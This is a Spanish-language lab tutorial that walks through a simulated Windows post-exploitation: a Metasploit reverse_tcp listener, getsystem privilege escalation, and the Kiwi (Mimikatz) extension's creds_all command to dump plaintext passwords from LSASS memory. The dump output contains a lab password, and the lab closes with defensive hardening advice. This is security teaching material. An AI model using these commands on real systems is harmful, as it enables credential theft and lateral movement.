Usar Kiwi para Extraer Contraseñas en Texto Plano en Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En la fase de post-explotación de una prueba de penetración, uno de los objetivos principales es recopilar credenciales para moverse lateralmente por la red. Meterpreter de Metasploit es un payload potente que proporciona una shell interactiva en un sistema comprometido.

Una de las características más potentes de Meterpreter es la extensión Kiwi, que es una adaptación (port) de la famosa herramienta Mimikatz. Kiwi permite a los atacantes extraer contraseñas en texto plano, hashes, PINs y tickets Kerberos directamente de la memoria de la máquina objetivo, específicamente del proceso Local Security Authority Subsystem Service (LSASS).

En este laboratorio, aprenderá a cargar y utilizar la extensión Kiwi dentro de una sesión de Meterpreter para volcar credenciales de un objetivo simulado de Windows.

Obtener una sesión de Meterpreter con privilegios SYSTEM en un objetivo Windows

En este paso, simularemos la obtención de acceso a una máquina objetivo. En un escenario del mundo real, utilizaría un exploit para entregar un payload. Aquí, configuraremos un listener utilizando la consola de Metasploit Framework. Un objetivo simulado se conectará a nuestro listener, proporcionándonos una sesión de Meterpreter.

Primero, inicie la consola de Metasploit. La opción -q hace que se inicie silenciosamente sin mostrar el banner.

msfconsole -q

A continuación, configuraremos un listener para "capturar" la conexión entrante del objetivo simulado. Para ello, utilizamos el módulo multi/handler.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Ahora, ejecute el listener como un trabajo en segundo plano utilizando exploit -j.

exploit -j

Después de unos momentos, se creará una sesión. Puede listar las sesiones activas con el comando sessions.

sessions

Debería ver una salida que indica una sesión activa, similar a esta:

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

Ahora, interactúe con la sesión 1.

sessions -i 1

Su prompt cambiará a meterpreter >. Para utilizar Kiwi de manera efectiva, necesitamos el nivel más alto de privilegios, NT AUTHORITY\SYSTEM. Podemos intentar escalar nuestros privilegios utilizando el comando getsystem.

getsystem

Debería ver un mensaje de ...got system. Verifique su nueva identidad ejecutando getuid.

getuid

La salida esperada debería ser:

Server username: NT AUTHORITY\SYSTEM

Ahora tiene una sesión de Meterpreter con privilegios SYSTEM, lista para los siguientes pasos.

Cargar la extensión kiwi usando el comando load kiwi

En este paso, cargará la extensión Kiwi en su sesión de Meterpreter. Meterpreter es modular, y sus extensiones proporcionan funcionalidad adicional que no se carga por defecto para mantener el payload inicial pequeño. La extensión Kiwi contiene todos los comandos necesarios para realizar volcados de credenciales al estilo Mimikatz.

Desde su prompt meterpreter >, utilice el comando load para añadir la extensión Kiwi.

load kiwi

Si el comando es exitoso, Meterpreter confirmará que la extensión ha sido cargada.

Loading extension kiwi...Success.

Con la extensión Kiwi cargada, ahora tiene acceso a un nuevo conjunto de potentes comandos para la recolección de credenciales.

Listar comandos de kiwi disponibles con help

En este paso, verificará que los comandos de Kiwi estén disponibles. Después de cargar cualquier extensión en Meterpreter, puede usar el comando help para ver una lista actualizada de todos los comandos disponibles. Esta es una buena práctica para confirmar que la extensión se cargó correctamente y para ver qué nuevas capacidades tiene.

Desde el prompt meterpreter >, simplemente escriba help.

help

La salida será una larga lista de todos los comandos de Meterpreter, agrupados por sección. Desplácese por la salida y debería encontrar una nueva sección llamada "Kiwi Commands". Esta sección enumera todas las funciones proporcionadas por la extensión Kiwi.

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

Como puede ver, Kiwi añade muchos comandos potentes para interactuar con los mecanismos de autenticación de Windows.

Volcar todas las credenciales disponibles con el comando creds_all

En este paso, ejecutará el comando principal de la extensión Kiwi para volcar todas las credenciales encontradas en memoria. El comando creds_all es un wrapper conveniente que ejecuta varios módulos de recolección de credenciales diferentes a la vez, apuntando a varios paquetes de autenticación como WDigest, Kerberos y MSV.

Recuerde, este comando requiere privilegios de SYSTEM para acceder a la memoria del proceso LSASS, razón por la cual realizamos el comando getsystem en el primer paso.

Desde su prompt meterpreter >, ejecute el comando creds_all.

creds_all

El comando tardará un momento en ejecutarse mientras inspecciona el proceso LSASS. La salida será detallada, mostrando las credenciales encontradas para diferentes proveedores. A continuación, se muestra una muestra de lo que podría ver.

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package  Domain      User        Password
------      -------  ------      ----        --------
0;109871    NTLM     WIN-TARGET  LabUser     (null)
0;99876     NTLM     WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package  Domain      User        Password
------      -------  ------      ----        --------
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest  WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

Ha volcado exitosamente las credenciales de la memoria del sistema objetivo. El siguiente paso es analizar esta salida.

Analizar la salida en busca de contraseñas en texto plano

En este paso final, analizará la salida del comando creds_all para identificar contraseñas en texto plano. La capacidad de encontrar credenciales en texto plano es lo que hace que herramientas como Kiwi y Mimikatz sean tan potentes para el movimiento lateral.

Revise la salida que recibió en el paso anterior. Los datos están organizados por paquete de autenticación:

  • msv: Este paquete maneja la autenticación NTLM estándar. Típicamente proporciona hashes de contraseñas, no contraseñas en texto plano, a menos que el usuario haya iniciado sesión interactivamente recientemente.
  • wdigest: En sistemas Windows más antiguos o en sistemas donde está explícitamente habilitado, WDigest almacena una copia cifrada reversible de la contraseña del usuario en memoria. Kiwi puede descifrar esto fácilmente, revelando la contraseña en texto plano. Esta suele ser la sección más valiosa.
  • kerberos: Este paquete administra los tickets Kerberos. Similar a WDigest, también puede almacenar en caché contraseñas en texto plano para los usuarios que han iniciado sesión.
  • ssp y tspkg: Estos paquetes manejan credenciales para otros servicios, como conexiones de Escritorio Remoto.

En la salida de muestra del paso anterior, puede ver claramente una contraseña en texto plano para el usuario LabUser tanto en las secciones wdigest como kerberos:

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

Al examinar cuidadosamente la salida y buscar valores que no sean (null) en la columna Password, puede recolectar credenciales valiosas. Esta información podría luego usarse para acceder a otros sistemas o servicios como ese usuario.

Resumen

En este laboratorio, realizó con éxito una técnica clásica de post-explotación. Comenzó obteniendo una sesión de Meterpreter con privilegios de SYSTEM en un objetivo simulado de Windows. Luego cargó la extensión Kiwi, que integra la funcionalidad de Mimikatz en Meterpreter.

Utilizando el comando creds_all, volcó credenciales directamente de la memoria del proceso LSASS. Finalmente, analizó la salida para extraer una contraseña en texto plano para un usuario que había iniciado sesión.

Este ejercicio resalta la importancia del endurecimiento de la seguridad en los puntos finales. Las defensas contra este tipo de ataque incluyen:

  • Deshabilitar la autenticación WDigest.
  • Habilitar la Protección LSA (RunAsPPL).
  • Implementar el principio de mínimo privilegio para garantizar que los usuarios y procesos no tengan derechos administrativos innecesarios.

Ahora tiene una comprensión práctica de cómo los atacantes pueden aprovechar la extracción de credenciales en memoria para comprometer aún más una red.